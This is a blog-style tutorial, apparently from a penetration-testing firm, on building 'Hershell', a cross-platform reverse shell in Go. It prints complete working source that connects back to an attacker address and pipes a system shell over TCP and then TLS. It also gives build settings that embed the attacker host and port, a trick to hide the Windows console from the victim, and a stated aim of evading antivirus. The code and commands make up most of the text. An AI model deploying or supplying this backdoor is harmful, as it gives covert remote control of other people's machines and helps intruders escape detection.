Introduction

A must-have tool during pentests is, of course, the well-known and great Metasploit framework.

This environment contains a huge number of payloads, encoders and other tools around. Meterpreter counts among these payloads : it is a modified shell with exploitation and post-exploitation commands. It is probably the most used thanks to its powerful offensive features.

Troubles with Meterpreter

Unfortunately, its popularity has a drawback: most antivirus and signature-based solutions can detect it. Often during a pentest, a binary containing a Meterpreter payload would be detected and sent to quarantine.

Another issue could be the lack of support for a specific target architecture (BSD for example), forcing us to develop our own backdoor.

These issues pushed us to create Hershell. The project aims to offer a reverse shell payload that, based on a single source code, can be cross-platform and undetected by antivirus software.

We developed it in Go, a compiled language made by Google.

Why Go ?

Indeed, nowadays, Python is probably the most popular language to make scripts or even complete applications, especially in the security community. So why would we learn a new language ?

Go has this advantage over Python or other language, in that it is very easy to perform cross-compilation without any requirement from external dependencies.

A Go binary, thanks to the standard libraries, includes all the required code to execute on the target architecture.

Thus, it should make it easy to build binaries for many kinds of platforms from the same source code.

Objectives

While building this code, we want to achieve what follows:

  • make a payload acting as a reverse shell;
  • get a payload that works across multiple platforms and hardware architectures (Windows, Linux, Mac OS, ARM);
  • be able to configure it easily;
  • encrypt communications;
  • bypass most antivirus detection engines.

Preparing the environment

Install the Go package from your favorite distribution or download it from the official website.

Once installed, we need to configure the environment. We create a dev directory that will be the root for sources, libraries and built binaries:

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev

It follows this scheme:

  • bin contains compiled binaries and other executable files;
  • pkg contains the object files for downloaded Go packages;
  • src contains source directories for your applications and downloaded packages.

My first reverse shell

To start, let's create a simple TCP reverse shell in Go.

Rather than commenting the code line by line, here is a full commented version:

// filename: tcp.go

package main

import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)

func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
    conn, err := net.Dial("tcp", "192.168.0.23:2233")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}

First, we establish a connection to the remote server using net.Dial.

The net package of the Go standard library is an abstraction layer for network communications based on TCP or UDP.

To learn more on how to use a package, the documentation (go doc) is very helpful:

$ go doc net

package net // import "net"

Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.

Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...

But let's go back to our script.

Once the connection is established (if it fails, the program stops), we create a process (object of type exec.Cmd) thanks to the exec.Command function. All input and output (stdout, stdin and stderr) are redirected toward the connection and the process is started.

We can then compile and execute the file:

$ go build tcp.go
$ ./tcp

Now, we need to start the listener:

# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)

As you can see, we get our reverse shell, as expected.

Nothing special so far... Most of our objectives have not been achieved yet.

Configuration

We now have some basic code for a reverse shell. However, we have to modify it before every compilation, in order to define the listening port and IP address of the attacker.

This is not very convenient. But here enters a neat trick: variable definition at linking time (before compilation).

Indeed, it is possible to define the value of some variables during the build (with the go build command).

Here is a short example with the previous code:

// filename: tcp.go

package main

import (
    "net"
    "os" 
    "os/exec"
)

// variable to be defined at compiling time
var connectString string

func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

We simply added the following line, as well as a safe test to check that it contains a value:

var connectString string

Such code can be compiled as follows:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go

And that's it! The attacker's IP address and port can be now defined dynamically when we build the binary.

Note that such variables can be accessed with the package.nomVariable pattern, and can be only of string type.

To make the compilation easier, we can create a Makefile:

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"

all:
    ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}

clean:
    rm -f ${OUTPUT}

For the rest of the article, we will use the LHOST and LPORT environment variables to define the settings:

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go

Cross-platform

Now that our payload can be easily configured, it is time to make it cross-platform.

As said previously, it is one of the strong point in Go to be able to build for various architectures and platforms from the same code base.

Precisely, the runtime package offers the GOOS and GOARCH variables.

Let's see how we can use GOOS:

// filename: tcp_multi.go

package main

import (
    "net"
    "os"
    "os/exec"
    "runtime"   // requirement to access to GOOS
)

var connectString string

func main() {
    var cmd *exec.Cmd
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }

    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    case "linux":
        cmd = exec.Command("/bin/sh")
    case "freebsd":
        cmd = exec.Command("/bin/csh")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

It is quite obvious here that we added a switch block to handle the different values of GOOS. Thus, we are simply checking the values of several operating systems, changing the target process for each.

The above code can be further simplified, as actually /bin/sh is found on most operating systems except Windows:

switch runtime.GOOS {
case "windows":
    // Windows specific branch
    cmd = exec.Command("cmd.exe")
default:
    // any other OS
    cmd = exec.Command("/bin/sh")
}

Now, handling the architecture for cross-compilation is extremely easy using GOARCH:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

Network encryption

Now, let's see how we can encrypt the network traffic.

There are several options:

  • build encryption in the application layer, eventually with a home-made method
  • use a largely used and tested protocol at the session layer, namely TLS.

As we prefer simplicity and safety, we went for TLS, wich is very easy to implement in Go. Once again, the standard library already supports everything to enable TLS.

On the client side, a new &tls.Config type object is required to configure the connection, like for example certificate pinning.

Here is the new code base, with slight optimizations and TLS handling:

import (
    "crypto/tls"
    "runtime"
    "os"
    "os/exec"
    "net"
)

var connectString string

func GetShell(conn net.Conn) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Stdin = conn
    cmd.Run()
}

func Reverse(connectString string) {
    var (
        conn *tls.Conn
        err  error
    )
    // Creation of the tls.Config object
    // Accepting *any* server certificate
    config := &tls.Config{InsecureSkipVerify: true}
    if conn, err = tls.Dial("tcp", connectString, config); err != nil {
        os.Exit(-1)
    }
    defer conn.Close()
    // Starting the shell
    GetShell(conn)
}

func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    Reverse(connectString)
}

As the example shows, creating a TLS socket is very similar to creating a simple TCP socket. Other than the declaration of a tls.Config, the tls.Conn object is used in the same manner as net.Conn.

Conditional compilation

As seen above, it is possible to change the program execution depending on the target operating system.

However, if you tried to use this code as is, you would notice an issue. The cmd.exe window shows up and cannot be hidden, which could alert the victim.

Fortunately, the SysProcAttr of the exec.Cmd object enables to change this behavior, as stated in the documentation:

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...

Under Linux, the documentation of the syscall.SysProcAttr module, we get the following information:

$ go doc syscall.SysProcAttr
type SysProcAttr struct {
    Chroot       string         // Chroot.
    Credential   *Credential    // Credential.
    Ptrace       bool           // Enable tracing.
    Setsid       bool           // Create session.
    Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
    Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
    Noctty       bool           // Detach fd 0 from controlling terminal
    Ctty         int            // Controlling TTY fd
    Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
    Pgid         int            // Child's process group ID if Setpgid.
    Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
    Cloneflags   uintptr        // Flags for clone calls (Linux only)
    Unshareflags uintptr        // Flags for unshare calls (Linux only)
    UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
    GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
    // GidMappingsEnableSetgroups enabling setgroups syscall.
    // If false, then setgroups syscall will be disabled for the child process.
    // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
    // users this should be set to false for mappings work.
    GidMappingsEnableSetgroups bool
}

However, in the source code of the syscall package, we observed that every architecture has a specific implementation.

Moreover, inside the exec submode for Windows, we noticed that the SysProcAttr structure has a different definition. It has a HidWindow attribute (boolean type) that allows to hide the window when a program is started.

It is exactly what we need for our backdoor.

We could be tempted by such a naive implementation:


... switch runtime.GOOS { case "windows": cmd := exec.Cmd("cmd.exe") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} default: cmd := exec.Cmd("/bin/sh") } ...

However, the compilation would fail for any other platform than Windows, as the HideWindow attribute does not exist in the syscall/exec_linux.go.

Therefore, we need to adjust the structure of our project, using conditional compilation.

It refers to a feature that allows to add instructions for the compiler to the top of a source code file.

For example, if we wanted to compile a source file only for Windows, we would add:

// +build windows !linux !darwin !freebsd

import net
...

This would instruct the compiler not to include this file when the GOOS variable is set to darwin, linux or freebsd. Of course, it would be included when the value matches windows.

To implement it in our project, we will now follow this structure:

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
    ├── shell_default.go
    └── shell_windows.go

The hershell.go contains the heart of the program. We then create a module named shell, which has two file : shell_default.go for Linux and Unix, and shell_windows.go for Windows.

Certificate Pinning

Using TLS to secure communications is a nice thing, but the traffic can still be intercepted by a "Man-in-the-Middle" as long as we don't authenticate the server.

To prevent such attacks, we will validate the certificate offered by the server, which is called "certificate pinning".

The following function takes care of it:

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
        valid := false
        connState := conn.ConnectionState()
        for _, peerCert := range connState.PeerCertificates {
                hash := sha256.Sum256(peerCert.Raw)
                if bytes.Compare(hash[0:], fingerprint) == 0 {
                        valid = true
                }
        }
        return valid, nil
}

This function takes a pointer to a tls.Conn object as a parameter, as well as a byte array containing the certificate fingerprint in SHA256 format. The code goes through all PeerCertificates objects contained in tls.Conn until it finds one that has a fingerprint matching with the one provided during the connection.

If it happens that no certificate matches, the function returns false.

We just need to call this function when the connection to the remote server is established, and close the connection if the submitted certificate is not valid:

func Reverse(connectString string, fingerprint []byte) {
        var (
                conn *tls.Conn
                err  error
        )
        config := &tls.Config{InsecureSkipVerify: true}
        if conn, err = tls.Dial("tcp", connectString, config); err != nil {
                os.Exit(ERR_HOST_UNREACHABLE)
        }

        defer conn.Close()

        // checking the certificate fingerprint
        if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
                os.Exit(ERR_BAD_FINGERPRINT)
        }
        RunShell(conn)
}

The initial, valid fingerprint can be generated during the compilation (in the Makefile) thanks to the --ldflags:

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...

Conclusion

This article aimed to show that it is relatively simple to build efficient tools in Go.

The integrated cross-platform features (cross and conditional compilation), as well as the rich standard library enable us to build a lot of nice stuff. We even did not mention the numerous community packages.

We went further with the capacity of the shell to upgrade to a Meterpreter, making it a powerful way to integrated to the Metasploit framework with a stealth Go binary.

You can find the complete project source code in our Github repository. Should you have any problems or suggestions, feel free to open some issues!

Credits

Ronan Kervella <r.kervella -at- sysdream -dot- com>